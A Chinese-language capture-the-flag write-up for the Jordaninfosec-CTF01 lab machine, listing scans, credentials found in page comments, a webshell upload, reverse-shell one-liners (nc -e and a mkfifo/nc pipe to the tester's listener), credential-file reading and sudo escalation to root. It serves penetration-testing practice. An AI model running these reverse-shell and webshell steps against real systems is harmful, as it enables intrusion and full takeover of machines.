主机:192.168.10.106
靶机:192.168.10.108
#扫描靶机端口开放情况
nmap -p- 192.168.10.108
22/tcp open ssh #存在ssh连接
80/tcp open http
#扫描靶机端口详细信息
nmap -sS -sV -A -n 192.168.10.108
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
#访问靶机网页
http://192.168.10.108
#扫描靶机网页目录
dirsearch -u http://192.168.10.108
http://192.168.10.108/login.php
#发现后台目录,访问查看网页源码发现管理员账户,以及第二个flag
http://192.168.10.108/admin_area/
<!-- username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->
#访问反爬虫协议,获取文件上传目录,以及第一个flag
http://192.168.10.108/robots.txt
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
#管理员账户登录,上传木马,使用蚁剑连接。
http://192.168.10.108/uploaded_files/c.php
/var/www/html/flag/index.html
<center>The 1st flag is : {8734509128730458630012095}</center>
#获得第三个flag,并获得提示查看账户technawi的专属文件
/var/www/html/hint.txt
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
#主机开启6666端口监听,获取靶机shell
nc -lvvp 6666
#尝试-e参数,没有回弹
nc -e /bin/bash 192.168.10.106 6666
#主机产生回弹获取shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.106 6666 >/tmp/f
#改变shell主题,没有python2,执行失败
python -c "import pty;pty.spawn('/bin/bash')"
#切换python3,改变shell主题成功
python3 -c "import pty;pty.spawn('/bin/bash')"
#查询内核信息
Linux Jordaninfosec-CTF01 4.4.0-72-generic
#尝试是否存在可以漏洞,并没有。
searchsploit linux kernel 4.4.0-72
#查询权限technawi 的文件
find / -user technawi 2>/dev/null
#发现目标,查看获取第四个flag,并且获取technawi用户密码
cat /etc/mysql/conf.d/credentials.txt
<1:/var/www/html/uploaded_files$ cat /etc/mysql/con.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
#尝试ssh连接,成功。
ssh technawi@192.168.10.108
#查看之前无法访问的flag.txt,获得第五个flag,通过。
cat /var/www/html/flag.txt
The 5th flag is : {5473215946785213456975249}
Good job :)
You find 5 flags and got their points and finish the first scenario....
#尝试查看用户sudo的权限,发现是所有
sudo -l
[sudo] password for technawi:
Matching Defaults entries for technawi on Jordaninfosec-CTF01:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User technawi may run the following commands on Jordaninfosec-CTF01:
(ALL : ALL) ALL
#提权成功,正在通过。
sudo su
Jordaninfosec-CTF01靶机渗透记录
最新推荐文章于 2024-08-23 16:53:34 发布